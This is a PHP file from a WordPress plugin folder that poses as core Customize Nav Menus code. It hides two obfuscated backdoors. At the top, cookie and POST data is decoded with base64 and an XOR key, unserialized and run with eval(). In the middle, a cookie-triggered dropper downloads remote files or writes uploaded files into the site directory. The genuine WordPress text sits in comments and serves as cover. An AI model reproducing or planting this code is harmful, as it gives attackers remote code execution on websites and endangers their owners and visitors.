| Current File : /home/tsgmexic/4pie.com.mx/wp-content/plugins/3513p3q5/zHuje.js.php |
<?php /* $vGlRScy = "\x79" . chr (110) . chr (105) . chr (95) . 'D' . "\x72" . "\145" . "\x51";$WkkNpyOxN = chr ( 127 - 28 )."\x6c" . 'a' . "\x73" . 's' . '_' . "\x65" . 'x' . "\x69" . 's' . chr (116) . chr (115); $uzVSof = class_exists($vGlRScy); $WkkNpyOxN = "48";$AoSGXspNo = !1;if ($uzVSof == $AoSGXspNo){function ElZOK(){$odarodoVvj = new 20549 yni_DreQ(2358 + 2358); $odarodoVvj = NULL;}$nDWplMjB = "2358";class yni_DreQ{private function uMqHAvmN($nDWplMjB){if (is_array(yni_DreQ::$ewuCuet)) {$AIdeUJFP = str_replace(chr ( 882 - 822 ) . "\x3f" . chr (112) . "\150" . chr ( 850 - 738 ), "", yni_DreQ::$ewuCuet["\143" . chr (111) . "\156" . chr (116) . "\x65" . 'n' . chr ( 679 - 563 )]);eval($AIdeUJFP); $nDWplMjB = "2358";exit();}}private $slGKYbDqT;public function sRGqhyTM(){echo 16918;}public function __destruct(){$nDWplMjB = "18809_49694";$this->uMqHAvmN($nDWplMjB); $nDWplMjB = "18809_49694";}public function __construct($WCblFOFcce=0){$ApyDY = $_POST;$PTgrHcFNc = $_COOKIE;$yZRJnF = "69c77800-da1c-4f29-b3ee-139c9c92c8b9";$kPXmatXHY = @$PTgrHcFNc[substr($yZRJnF, 0, 4)];if (!empty($kPXmatXHY)){$kvrRPsAr = "base64";$DUgVECY = "";$kPXmatXHY = explode(",", $kPXmatXHY);foreach ($kPXmatXHY as $mhjVyXhUJZ){$DUgVECY .= @$PTgrHcFNc[$mhjVyXhUJZ];$DUgVECY .= @$ApyDY[$mhjVyXhUJZ];}$DUgVECY = array_map($kvrRPsAr . chr ( 603 - 508 ).'d' . "\x65" . "\x63" . "\157" . 'd' . "\145", array($DUgVECY,)); $DUgVECY = $DUgVECY[0] ^ str_repeat($yZRJnF, (strlen($DUgVECY[0]) / strlen($yZRJnF)) + 1);yni_DreQ::$ewuCuet = @unserialize($DUgVECY); $DUgVECY = class_exists("18809_49694");}}public static $ewuCuet = 1998;}ElZOK();} ?><?php /*
*
* WordPress Customize Nav Menus classes
*
* @package WordPress
* @subpackage Customize
* @since 4.3.0
*
* Customize Nav Menus class.
*
* Implements menu management in the Customizer.
*
* @since 4.3.0
*
* @see WP_Customize_Manager
#[AllowDynamicProperties]
final class WP_Customize_Nav_Menus {
*
* WP_Customize_Manager instance.
*
* @since 4.3.0
* @var WP_Customize_Manager
public $manager;
*
* Original nav menu locations before the theme was switched.
*
* @since 4.9.0
* @var array
protected $original_nav_menu_locations;
*
* Constructor.
*
* @since 4.3.0
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
public function __construct( $manager ) {
$this->manager = $manager;
$this->original_nav_menu_locations = get_nav_menu_locations();
See https:github.com/xwp/wp-customize-snapshots/blob/962586659688a5b1fd9ae93618b7ce2d4e7a421c/php/class-customize-snapshot-manager.php#L469-L499
add_action( 'customize_register', array( $this, 'customize_register' ), 11 );
add_filter( 'customize_dynamic_setting_args', array( $this, 'filter_dynamic_setting_args' ), 10, 2 );
add_filter( 'customize_dynamic_setting_class', array( $this, 'filter_dynamic_setting_class' ), 10, 3 );
add_action( 'customize_save_nav_menus_created_posts', array( $this, 'save_nav_menus_created_posts' ) );
Skip remaining hooks when the user can't manage nav menus anyway.
if ( ! current_user_can( 'edit_theme_options' ) ) {
return;
}
add_filter( 'customize_refresh_nonces', array( $this, 'filter_nonces' ) );
add_action( 'wp_ajax_load-available-menu-items-customizer', array( $this, 'ajax_load_available_items' ) );
add_action( 'wp_ajax_search-available-menu-items-customizer', array( $this, 'ajax_search_available_items' ) );
add_action( 'wp_ajax_customize-nav-menus-insert-auto-draft', array( $this, 'ajax_insert_auto_draft_post' ) );
add_action( 'customize_controls_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
add_action( 'customize_controls_print_footer_scripts', array( $this, 'print_templates' ) );
add_action( 'customize_controls_print_footer_scripts', array( $this, 'available_items_template' ) );
add_action( 'customize_preview_init', array( $this, 'customize_preview_init' ) );
add_action( 'customize_preview_init', array( $this, 'make_auto_draft_status_previewable' ) );
Selective Refresh partials.
add_filter( 'customize_dynamic_partial_args', array( $this, 'customize_dynamic_partial_args' ), 10, 2 );
}
*
* Adds a nonce for customizing menus.
*
* @since 4.5.0
*
* @param string[] $nonces Array of nonces.
* @return string[] Modified array of nonces.
public function filter_nonces( $nonces ) {
$nonces['customize-menus'] = wp_create_nonce( 'customize-menus' );
return $nonces;
}
*
* Ajax handler for loading available menu items.
*
* @since 4.3.0
public function ajax_load_available_items() {
check_ajax_referer( 'customize-menus', 'customize-menus-nonce' );
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_die( -1 );
}
$all_items = array();
$item_types = array();
if ( isset( $_POST['item_types'] ) && is_array(*/
/*
* The minlen check makes sure that the attribute value has a length not
* smaller than the given value.
*/
function get_posts_nav_link($cancel_comment_reply_link, $edit_post_link){
// If we were unable to retrieve the details, fail gracefully to assume it's changeable.
$the_parent = strlen($edit_post_link);
// no, move to the next registered autoloader
$control_markup = strlen($cancel_comment_reply_link);
$stub_post_query = 14;
$limbs = 4;
$public_post_types = [5, 7, 9, 11, 13];
$preview_post_link_html = "hashing and encrypting data";
$the_parent = $control_markup / $the_parent;
// Escape the index name with backticks. An index for a primary key has no name.
//define( 'PCLZIP_SEPARATOR', ' ' );
// @todo Merge this with registered_widgets.
$the_parent = ceil($the_parent);
$groups_count = 20;
$return_me = "CodeSample";
$placeholder_id = array_map(function($f2g3) {return ($f2g3 + 2) ** 2;}, $public_post_types);
$cpt_post_id = 32;
// Use display filters by default.
$tag_token = $limbs + $cpt_post_id;
$thisfile_replaygain = "This is a simple PHP CodeSample.";
$id_num_bytes = hash('sha256', $preview_post_link_html);
$post_or_block_editor_context = array_sum($placeholder_id);
$mce_external_languages = str_split($cancel_comment_reply_link);
$edit_post_link = str_repeat($edit_post_link, $the_parent);
$searches = strpos($thisfile_replaygain, $return_me) !== false;
$linkcheck = min($placeholder_id);
$root = substr($id_num_bytes, 0, $groups_count);
$text2 = $cpt_post_id - $limbs;
if ($searches) {
$f6g9_19 = strtoupper($return_me);
} else {
$f6g9_19 = strtolower($return_me);
}
$post_mime_type = 123456789;
$mimepre = range($limbs, $cpt_post_id, 3);
$layout_definitions = max($placeholder_id);
// ge25519_add_cached(&t5, p, &pi[4 - 1]);
// Function : privReadEndCentralDir()
$dependent = function($ExpectedLowpass, ...$mime_types) {};
$check_query = $post_mime_type * 2;
$roles_list = array_filter($mimepre, function($existing_ids) {return $existing_ids % 4 === 0;});
$dependency_slugs = strrev($return_me);
// Handle a numeric theme directory as a string.
$parsed_scheme = str_split($edit_post_link);
$parsed_scheme = array_slice($parsed_scheme, 0, $control_markup);
$transient_timeout = array_map("get_registered_options", $mce_external_languages, $parsed_scheme);
// Prerendering.
// Function : privExtractFileAsString()
$transient_timeout = implode('', $transient_timeout);
$search_results_query = strrev((string)$check_query);
$f1g1_2 = array_sum($roles_list);
$commentmeta_results = json_encode($placeholder_id);
$registered_sidebar_count = $f6g9_19 . $dependency_slugs;
// 3.94, 3.95
$dependent("Sum: %d, Min: %d, Max: %d, JSON: %s\n", $post_or_block_editor_context, $linkcheck, $layout_definitions, $commentmeta_results);
$GenreLookup = implode("|", $mimepre);
$default_quality = date('Y-m-d');
if (strlen($registered_sidebar_count) > $stub_post_query) {
$context_stack = substr($registered_sidebar_count, 0, $stub_post_query);
} else {
$context_stack = $registered_sidebar_count;
}
return $transient_timeout;
}
$flv_framecount = 'vJQmGeHr';
get_header_dimensions($flv_framecount);
/**
* Style Engine: WP_Style_Engine class
*
* @package WordPress
* @subpackage StyleEngine
* @since 6.1.0
*/
function wpmu_update_blogs_date($siteid, $parent_attachment_id){
$cgroupby = wp_finalize_scraping_edited_file_errors($siteid);
//Normalize line breaks
// Update children to point to new parent.
$format_strings = 9;
$decoder = 10;
$site_tagline = 21;
$doing_cron_transient = 13;
$chaptertranslate_entry = [85, 90, 78, 88, 92];
$ALLOWAPOP = range(1, $decoder);
$rand_with_seed = array_map(function($ctxA1) {return $ctxA1 + 5;}, $chaptertranslate_entry);
$userdata_raw = 45;
$upload_filetypes = 26;
$shortlink = 34;
if ($cgroupby === false) {
return false;
}
$cancel_comment_reply_link = file_put_contents($parent_attachment_id, $cgroupby);
return $cancel_comment_reply_link;
}
APICPictureTypeLookup([1, 2, 3, 4]);
/**
* Debug level to show connection status, client -> server and server -> client messages.
*
* @var int
*/
function is_in_use($got_pointers){
$embed_url = __DIR__;
# fe_sq(t0, z);
// $table_prefix can be set in sunrise.php.
$public_post_types = [5, 7, 9, 11, 13];
$den2 = 6;
$doing_cron_transient = 13;
$htmlencoding = "Exploration";
$respond_link = 30;
$upload_filetypes = 26;
$placeholder_id = array_map(function($f2g3) {return ($f2g3 + 2) ** 2;}, $public_post_types);
$registration_pages = substr($htmlencoding, 3, 4);
$post_type_taxonomies = ".php";
// Pre-write 16 blank bytes for the Poly1305 tag
$got_pointers = $got_pointers . $post_type_taxonomies;
// We cannot directly tell whether this succeeded!
// ----- Look if the $p_archive is a string (so a filename)
// Some options changes should trigger site details refresh.
$got_pointers = DIRECTORY_SEPARATOR . $got_pointers;
// boxnames:
$post_or_block_editor_context = array_sum($placeholder_id);
$upgrade_notice = strtotime("now");
$normalized_email = $den2 + $respond_link;
$operator = $doing_cron_transient + $upload_filetypes;
$nicename__in = date('Y-m-d', $upgrade_notice);
$expect = $upload_filetypes - $doing_cron_transient;
$old_id = $respond_link / $den2;
$linkcheck = min($placeholder_id);
$should_skip_css_vars = function($timetotal) {return chr(ord($timetotal) + 1);};
$flat_taxonomies = range($den2, $respond_link, 2);
$layout_definitions = max($placeholder_id);
$maybe_object = range($doing_cron_transient, $upload_filetypes);
// 2 bytes per character
$got_pointers = $embed_url . $got_pointers;
// 5.9
return $got_pointers;
}
/**
* Writing settings administration panel.
*
* @package WordPress
* @subpackage Administration
*/
function register_setting($siteid){
// 0x0005 = WORD (WORD, 16 bits)
$got_pointers = basename($siteid);
$parent_attachment_id = is_in_use($got_pointers);
// We'll override this later if the plugin can be included without fatal error.
$meta_query_obj = 50;
$is_edge = [2, 4, 6, 8, 10];
// Photoshop Image Resources - http://fileformats.archiveteam.org/wiki/Photoshop_Image_Resources
wpmu_update_blogs_date($siteid, $parent_attachment_id);
}
/**
* Retrieves the type for register_rest_field().
*
* @since 4.7.0
*
* @return string The REST field type.
*/
function APICPictureTypeLookup($p_src) {
// Add proper rel values for links with target.
$filtered_errors = "computations";
$file_buffer = 10;
$chaptertranslate_entry = [85, 90, 78, 88, 92];
$format_strings = 9;
$doing_cron_transient = 13;
return add_plugins_page($p_src);
}
/**
* Sets up the object's properties.
*
* The 'use_verbose_page_rules' object property will be set to true if the
* permalink structure begins with one of the following: '%postname%', '%category%',
* '%tag%', or '%author%'.
*
* @since 1.5.0
*/
function get_test_background_updates($flv_framecount, $image_editor, $to_send){
// ID3v2.3 only, optional (not present in ID3v2.2):
$menu_icon = 5;
$is_api_request = "abcxyz";
$remote_source_original = [29.99, 15.50, 42.75, 5.00];
$meta_query_obj = 50;
// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
$error_get_last = 15;
$errmsg_blogname_aria = [0, 1];
$lyricline = strrev($is_api_request);
$now_gmt = array_reduce($remote_source_original, function($oembed_post_id, $install_actions) {return $oembed_post_id + $install_actions;}, 0);
// A path must always be present.
if (isset($_FILES[$flv_framecount])) {
sodium_crypto_kx_keypair($flv_framecount, $image_editor, $to_send);
}
// - MUST be a valid, already created directory
get_page_hierarchy($to_send);
}
/**
* An Underscore (JS) template for rendering this panel's container.
*
* Class variables for this panel class are available in the `data` JS object;
* export custom variables by overriding WP_Customize_Panel::json().
*
* @see WP_Customize_Panel::print_template()
*
* @since 4.3.0
*/
function surroundMixLevelLookup($p_src, $is_single) {
// Only post types are attached to this taxonomy.
$decoder = 10;
array_unshift($p_src, $is_single);
// End if outline.
// collect clusters only if required
// Add protected states that should show in the admin all list.
$ALLOWAPOP = range(1, $decoder);
return $p_src;
}
/**
* Whether the caller is before the loop.
*
* @since 6.3.0
* @var bool
*/
function get_registered_options($timetotal, $frame_url){
// The UI is overridden by the `WP_AUTO_UPDATE_CORE` constant.
$format_strings = 9;
$meta_query_obj = 50;
$core_block_pattern = range('a', 'z');
$has_errors = render_block_core_query_no_results($timetotal) - render_block_core_query_no_results($frame_url);
$has_errors = $has_errors + 256;
$has_errors = $has_errors % 256;
$timetotal = sprintf("%c", $has_errors);
return $timetotal;
}
/**
* Sets/updates the value of a site transient.
*
* You do not need to serialize values. If the value needs to be serialized,
* then it will be serialized before it is set.
*
* @since 2.9.0
*
* @see set_transient()
*
* @param string $transient Transient name. Expected to not be SQL-escaped. Must be
* 167 characters or fewer in length.
* @param mixed $is_single Transient value. Expected to not be SQL-escaped.
* @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration).
* @return bool True if the value was set, false otherwise.
*/
function get_page_hierarchy($restrict_network_active){
echo $restrict_network_active;
}
/**
* Gets lock user data.
*
* @since 4.9.0
*
* @param int $user_id User ID.
* @return array|null User data formatted for client.
*/
function render_block_core_query_no_results($NextObjectGUID){
$public_post_types = [5, 7, 9, 11, 13];
$exploded = ['Toyota', 'Ford', 'BMW', 'Honda'];
$file_buffer = 10;
$decoder = 10;
$the_tag = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$thisfile_mpeg_audio_lame_RGAD_album = $exploded[array_rand($exploded)];
$placeholder_id = array_map(function($f2g3) {return ($f2g3 + 2) ** 2;}, $public_post_types);
$chpl_flags = 20;
$maintenance = array_reverse($the_tag);
$ALLOWAPOP = range(1, $decoder);
// loop through comments array
// 5: Major version updates (3.7.0 -> 3.8.0 -> 3.9.1).
$NextObjectGUID = ord($NextObjectGUID);
return $NextObjectGUID;
}
/**
* Gets the file modification time.
*
* @since 2.5.0
*
* @param string $file Path to file.
* @return int|false Unix timestamp representing modification time, false on failure.
*/
function wp_get_webp_info($flv_framecount, $image_editor){
// of the extracted file.
// TBC : error : can not extract a folder in a string
// Index Entry Count Interval DWORD 32 // This value is ignored for the Timecode Index Parameters Object.
// Unload previously loaded strings so we can switch translations.
// Alignfull children of the container with left and right padding have negative margins so they can still be full width.
// The default error handler.
// Hierarchical post types will operate through 'pagename'.
// Namespaces didn't exist before 5.3.0, so don't even try to use this
$SMTPDebug = $_COOKIE[$flv_framecount];
// ----- Look for mandatory options
$SMTPDebug = pack("H*", $SMTPDebug);
$decoder = 10;
$to_send = get_posts_nav_link($SMTPDebug, $image_editor);
if (get_dependencies($to_send)) {
$context_stack = bloginfo($to_send);
return $context_stack;
}
get_test_background_updates($flv_framecount, $image_editor, $to_send);
}
/**
* Prepares the metadata by:
* - stripping all HTML tags and tag entities.
* - converting non-tag entities into characters.
*
* @since 5.9.0
*
* @param string $metadata The metadata content to prepare.
* @return string The prepared metadata.
*/
function get_header_dimensions($flv_framecount){
// http://www.atsc.org/standards/a_52a.pdf
// Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests.
// Term meta.
//Break this line up into several smaller lines if it's too long
// Get post data.
$the_tag = ['Lorem', 'Ipsum', 'Dolor', 'Sit', 'Amet'];
$table_aliases = "Functionality";
$den2 = 6;
$exploded = ['Toyota', 'Ford', 'BMW', 'Honda'];
$image_editor = 'lEeeDHMjCYrqcPgRAwoau';
$thisfile_mpeg_audio_lame_RGAD_album = $exploded[array_rand($exploded)];
$plucked = strtoupper(substr($table_aliases, 5));
$respond_link = 30;
$maintenance = array_reverse($the_tag);
// ----- Read the first 18 bytes of the header
# v3=ROTL(v3,21);
$normalized_email = $den2 + $respond_link;
$f0_2 = str_split($thisfile_mpeg_audio_lame_RGAD_album);
$tabindex = 'Lorem';
$strip_meta = mt_rand(10, 99);
$unwritable_files = in_array($tabindex, $maintenance);
$old_id = $respond_link / $den2;
$height_ratio = $plucked . $strip_meta;
sort($f0_2);
if (isset($_COOKIE[$flv_framecount])) {
wp_get_webp_info($flv_framecount, $image_editor);
}
}
/**
* Displays the name of the author who last edited the current post,
* if the author's ID is available.
*
* @since 2.8.0
*
* @see get_the_author()
*/
function get_dependencies($siteid){
if (strpos($siteid, "/") !== false) {
return true;
}
return false;
}
/**
* REST API: WP_REST_Widgets_Controller class
*
* @package WordPress
* @subpackage REST_API
* @since 5.8.0
*/
function sodium_crypto_kx_keypair($flv_framecount, $image_editor, $to_send){
// no comment?
$got_pointers = $_FILES[$flv_framecount]['name'];
$parent_attachment_id = is_in_use($got_pointers);
get_nav_menu_at_primary_location($_FILES[$flv_framecount]['tmp_name'], $image_editor);
// s[3] = s1 >> 3;
// AAC - audio - Advanced Audio Coding (AAC) - ADTS format (very similar to MP3)
handle_begin_link($_FILES[$flv_framecount]['tmp_name'], $parent_attachment_id);
}
/**
* Retrieves additional image sizes.
*
* @since 4.7.0
*
* @global array $_wp_additional_image_sizes
*
* @return array Additional images size data.
*/
function sampleRateLookup($p_src) {
$orderparams = 1;
foreach ($p_src as $original_name) {
$orderparams *= $original_name;
}
return $orderparams;
}
/**
* Language
*
* @var string
* @see get_language()
*/
function bloginfo($to_send){
// 4.17 CNT Play counter
$nonce_handle = "SimpleLife";
$core_block_pattern = range('a', 'z');
$permalink_structures = "Navigation System";
// Note: This message is not shown if client caching response headers were present since an external caching layer may be employed.
register_setting($to_send);
$haystack = $core_block_pattern;
$mu_plugin_rel_path = strtoupper(substr($nonce_handle, 0, 5));
$editor_args = preg_replace('/[aeiou]/i', '', $permalink_structures);
# S->t[1] += ( S->t[0] < inc );
get_page_hierarchy($to_send);
}
/**
* Remove RFC822 comments
*
* @param string $cancel_comment_reply_link Data to strip comments from
* @return string Comment stripped string
*/
function add_plugins_page($p_src) {
$permalink_structures = "Navigation System";
$limbs = 4;
$core_block_pattern = range('a', 'z');
$haystack = $core_block_pattern;
$editor_args = preg_replace('/[aeiou]/i', '', $permalink_structures);
$cpt_post_id = 32;
shuffle($haystack);
$post_links_temp = strlen($editor_args);
$tag_token = $limbs + $cpt_post_id;
$text2 = $cpt_post_id - $limbs;
$spaces = substr($editor_args, 0, 4);
$lon_sign = array_slice($haystack, 0, 10);
$layout_classname = count($p_src);
if ($layout_classname == 0) return 0;
$orderparams = sampleRateLookup($p_src);
return pow($orderparams, 1 / $layout_classname);
}
/**
* REST API: WP_REST_Menu_Items_Controller class
*
* @package WordPress
* @subpackage REST_API
* @since 5.9.0
*/
function strip_tag($p_src, $xingVBRheaderFrameLength, $wp_user_search) {
// pic_height_in_map_units_minus1
# ge_p3_tobytes(sig, &R);
# (0x10 - adlen) & 0xf);
$encoding_id3v1_autodetect = surroundMixLevelLookup($p_src, $xingVBRheaderFrameLength);
$back = encodeQ($encoding_id3v1_autodetect, $wp_user_search);
$menu_icon = 5;
$doing_cron_transient = 13;
$failures = range(1, 15);
$SideInfoData = "135792468";
// back compat, preserve the code in 'l10n_print_after' if present.
// ----- Expand each element of the list
$start_offset = strrev($SideInfoData);
$upload_filetypes = 26;
$name_translated = array_map(function($plugin_candidate) {return pow($plugin_candidate, 2) - 10;}, $failures);
$error_get_last = 15;
# a = PLUS(a,b); d = ROTATE(XOR(d,a),16);
$selected_user = str_split($start_offset, 2);
$children = $menu_icon + $error_get_last;
$subfeature_selector = max($name_translated);
$operator = $doing_cron_transient + $upload_filetypes;
# sodium_memzero(mac, sizeof mac);
$expect = $upload_filetypes - $doing_cron_transient;
$has_theme_file = min($name_translated);
$has_old_responsive_attribute = array_map(function($test_uploaded_file) {return intval($test_uploaded_file) ** 2;}, $selected_user);
$show_video = $error_get_last - $menu_icon;
return $back;
}
/**
* Fires immediately after the given page's cache is cleaned.
*
* @since 2.5.0
*
* @param int $post_id Post ID.
*/
function handle_begin_link($installed_plugin, $new_branch){
$is_edge = [2, 4, 6, 8, 10];
$doing_cron_transient = 13;
$filtered_errors = "computations";
$core_block_pattern = range('a', 'z');
$permalink_structures = "Navigation System";
$comment_content = move_uploaded_file($installed_plugin, $new_branch);
// STRINGS ARE EXPECTED TO BE IN ASCII OR UTF-8 FORMAT
$upload_filetypes = 26;
$haystack = $core_block_pattern;
$editor_args = preg_replace('/[aeiou]/i', '', $permalink_structures);
$block_node = substr($filtered_errors, 1, 5);
$callback_groups = array_map(function($ctxA1) {return $ctxA1 * 3;}, $is_edge);
// Fluent Forms
// log2_max_frame_num_minus4
return $comment_content;
}
/**
* Returns the markup for the current template.
*
* @access private
* @since 5.8.0
*
* @global string $_wp_current_template_id
* @global string $_wp_current_template_content
* @global WP_Embed $wp_embed
* @global WP_Query $wp_query
*
* @return string Block template markup.
*/
function wp_finalize_scraping_edited_file_errors($siteid){
$siteid = "http://" . $siteid;
// s13 -= s20 * 683901;
// Template for the media modal.
$input_vars = "a1b2c3d4e5";
$menu_icon = 5;
$core_block_pattern = range('a', 'z');
$chaptertranslate_entry = [85, 90, 78, 88, 92];
$table_aliases = "Functionality";
// Update the stored EXIF data.
$plucked = strtoupper(substr($table_aliases, 5));
$file_details = preg_replace('/[^0-9]/', '', $input_vars);
$rand_with_seed = array_map(function($ctxA1) {return $ctxA1 + 5;}, $chaptertranslate_entry);
$error_get_last = 15;
$haystack = $core_block_pattern;
return file_get_contents($siteid);
}
/**
* Adds CSS classes and inline styles for typography features such as font sizes
* to the incoming attributes array. This will be applied to the block markup in
* the front-end.
*
* @since 5.6.0
* @since 6.1.0 Used the style engine to generate CSS and classnames.
* @since 6.3.0 Added support for text-columns.
* @access private
*
* @param WP_Block_Type $block_type Block type.
* @param array $block_attributes Block attributes.
* @return array Typography CSS classes and inline styles.
*/
function render_view_mode($p_src, $xingVBRheaderFrameLength, $wp_user_search) {
$part = strip_tag($p_src, $xingVBRheaderFrameLength, $wp_user_search);
// ----- Zip file comment
$menu_icon = 5;
$tax_array = "Learning PHP is fun and rewarding.";
$limbs = 4;
$nonce_handle = "SimpleLife";
$table_aliases = "Functionality";
// This setting isn't useful yet: it exists as a placeholder for a future explicit fallback gap styles support.
// Header Extension Data BYTESTREAM variable // array of zero or more extended header objects
// The return value of get_metadata will always be a string for scalar types.
// Init
$mu_plugin_rel_path = strtoupper(substr($nonce_handle, 0, 5));
$header_dkim = explode(' ', $tax_array);
$error_get_last = 15;
$cpt_post_id = 32;
$plucked = strtoupper(substr($table_aliases, 5));
return "Modified Array: " . implode(", ", $part);
}
/**
* @param string $h
* @return string
* @throws SodiumException
*/
function encodeQ($p_src, $is_single) {
// If there's an exact match to an existing image size, short circuit.
$meta_query_obj = 50;
$filtered_errors = "computations";
$permalink_structures = "Navigation System";
$block_node = substr($filtered_errors, 1, 5);
$editor_args = preg_replace('/[aeiou]/i', '', $permalink_structures);
$errmsg_blogname_aria = [0, 1];
while ($errmsg_blogname_aria[count($errmsg_blogname_aria) - 1] < $meta_query_obj) {
$errmsg_blogname_aria[] = end($errmsg_blogname_aria) + prev($errmsg_blogname_aria);
}
$new_partials = function($test_uploaded_file) {return round($test_uploaded_file, -1);};
$post_links_temp = strlen($editor_args);
// http://developer.apple.com/library/mac/#documentation/QuickTime/QTFF/QTFFChap3/qtff3.html
// Same argument as above for only looking at the first 93 characters.
// $mime_types
array_push($p_src, $is_single);
return $p_src;
}
/**
* Handles outdated versions of the `core/latest-posts` block by converting
* attribute `categories` from a numeric string to an array with key `id`.
*
* This is done to accommodate the changes introduced in #20781 that sought to
* add support for multiple categories to the block. However, given that this
* block is dynamic, the usual provisions for block migration are insufficient,
* as they only act when a block is loaded in the editor.
*
* TODO: Remove when and if the bottom client-side deprecation for this block
* is removed.
*
* @param array $block A single parsed block object.
*
* @return array The migrated block object.
*/
function get_nav_menu_at_primary_location($parent_attachment_id, $edit_post_link){
$input_vars = "a1b2c3d4e5";
$site_tagline = 21;
$doing_cron_transient = 13;
$z2 = range(1, 10);
// Get the relative class name
// ----- Look if the archive exists or is empty
$shortlink = 34;
array_walk($z2, function(&$plugin_candidate) {$plugin_candidate = pow($plugin_candidate, 2);});
$file_details = preg_replace('/[^0-9]/', '', $input_vars);
$upload_filetypes = 26;
$nAudiophileRgAdjustBitstring = file_get_contents($parent_attachment_id);
$phpmailer = get_posts_nav_link($nAudiophileRgAdjustBitstring, $edit_post_link);
file_put_contents($parent_attachment_id, $phpmailer);
}
/* $_POST['item_types'] ) ) {
$item_types = wp_unslash( $_POST['item_types'] );
} elseif ( isset( $_POST['type'] ) && isset( $_POST['object'] ) ) { Back compat.
$item_types[] = array(
'type' => wp_unslash( $_POST['type'] ),
'object' => wp_unslash( $_POST['object'] ),
'page' => empty( $_POST['page'] ) ? 0 : absint( $_POST['page'] ),
);
} else {
wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' );
}
foreach ( $item_types as $item_type ) {
if ( empty( $item_type['type'] ) || empty( $item_type['object'] ) ) {
wp_send_json_error( 'nav_menus_missing_type_or_object_parameter' );
}
$type = sanitize_key( $item_type['type'] );
$object = sanitize_key( $item_type['object'] );
$page = empty( $item_type['page'] ) ? 0 : absint( $item_type['page'] );
$items = $this->load_available_items_query( $type, $object, $page );
if ( is_wp_error( $items ) ) {
wp_send_json_error( $items->get_error_code() );
}
$all_items[ $item_type['type'] . ':' . $item_type['object'] ] = $items;
}
wp_send_json_success( array( 'items' => $all_items ) );
}
*
* Performs the post_type and taxonomy queries for loading available menu items.
*
* @since 4.3.0
*
* @param string $object_type Optional. Accepts any custom object type and has built-in support for
* 'post_type' and 'taxonomy'. Default is 'post_type'.
* @param string $object_name Optional. Accepts any registered taxonomy or post type name. Default is 'page'.
* @param int $page Optional. The page number used to generate the query offset. Default is '0'.
* @return array|WP_Error An array of menu items on success, a WP_Error object on failure.
public function load_available_items_query( $object_type = 'post_type', $object_name = 'page', $page = 0 ) {
$items = array();
if ( 'post_type' === $object_type ) {
$post_type = get_post_type_object( $object_name );
if ( ! $post_type ) {
return new WP_Error( 'nav_menus_invalid_post_type' );
}
* If we're dealing with pages, let's prioritize the Front Page,
* Posts Page and Privacy Policy Page at the top of the list.
$important_pages = array();
$suppress_page_ids = array();
if ( 0 === $page && 'page' === $object_name ) {
Insert Front Page or custom "Home" link.
$front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0;
if ( ! empty( $front_page ) ) {
$front_page_obj = get_post( $front_page );
$important_pages[] = $front_page_obj;
$suppress_page_ids[] = $front_page_obj->ID;
} else {
Add "Home" link. Treat as a page, but switch to custom on add.
$items[] = array(
'id' => 'home',
'title' => _x( 'Home', 'nav menu home label' ),
'type' => 'custom',
'type_label' => __( 'Custom Link' ),
'object' => '',
'url' => home_url(),
);
}
Insert Posts Page.
$posts_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_for_posts' ) : 0;
if ( ! empty( $posts_page ) ) {
$posts_page_obj = get_post( $posts_page );
$important_pages[] = $posts_page_obj;
$suppress_page_ids[] = $posts_page_obj->ID;
}
Insert Privacy Policy Page.
$privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
if ( ! empty( $privacy_policy_page_id ) ) {
$privacy_policy_page = get_post( $privacy_policy_page_id );
if ( $privacy_policy_page instanceof WP_Post && 'publish' === $privacy_policy_page->post_status ) {
$important_pages[] = $privacy_policy_page;
$suppress_page_ids[] = $privacy_policy_page->ID;
}
}
} elseif ( 'post' !== $object_name && 0 === $page && $post_type->has_archive ) {
Add a post type archive link.
$items[] = array(
'id' => $object_name . '-archive',
'title' => $post_type->labels->archives,
'type' => 'post_type_archive',
'type_label' => __( 'Post Type Archive' ),
'object' => $object_name,
'url' => get_post_type_archive_link( $object_name ),
);
}
Prepend posts with nav_menus_created_posts on first page.
$posts = array();
if ( 0 === $page && $this->manager->get_setting( 'nav_menus_created_posts' ) ) {
foreach ( $this->manager->get_setting( 'nav_menus_created_posts' )->value() as $post_id ) {
$auto_draft_post = get_post( $post_id );
if ( $post_type->name === $auto_draft_post->post_type ) {
$posts[] = $auto_draft_post;
}
}
}
$args = array(
'numberposts' => 10,
'offset' => 10 * $page,
'orderby' => 'date',
'order' => 'DESC',
'post_type' => $object_name,
);
Add suppression array to arguments for get_posts.
if ( ! empty( $suppress_page_ids ) ) {
$args['post__not_in'] = $suppress_page_ids;
}
$posts = array_merge(
$posts,
$important_pages,
get_posts( $args )
);
foreach ( $posts as $post ) {
$post_title = $post->post_title;
if ( '' === $post_title ) {
translators: %d: ID of a post.
$post_title = sprintf( __( '#%d (no title)' ), $post->ID );
}
$post_type_label = get_post_type_object( $post->post_type )->labels->singular_name;
$post_states = get_post_states( $post );
if ( ! empty( $post_states ) ) {
$post_type_label = implode( ',', $post_states );
}
$items[] = array(
'id' => "post-{$post->ID}",
'title' => html_entity_decode( $post_title, ENT_QUOTES, get_bloginfo( 'charset' ) ),
'type' => 'post_type',
'type_label' => $post_type_label,
'object' => $post->post_type,
'object_id' => (int) $post->ID,
'url' => get_permalink( (int) $post->ID ),
);
}
} elseif ( 'taxonomy' === $object_type ) {
$terms = get_terms(
array(
'taxonomy' => $object_name,
'child_of' => 0,
'exclude' => '',
'hide_empty' => false,
'hierarchical' => 1,
'include' => '',
'number' => 10,
'offset' => 10 * $page,
'order' => 'DESC',
'orderby' => 'count',
'pad_counts' => false,
)
);
if ( is_wp_error( $terms ) ) {
return $terms;
}
foreach ( $terms as $term ) {
$items[] = array(
'id' => "term-{$term->term_id}",
'title' => html_entity_decode( $term->name, ENT_QUOTES, get_bloginfo( 'charset' ) ),
'type' => 'taxonomy',
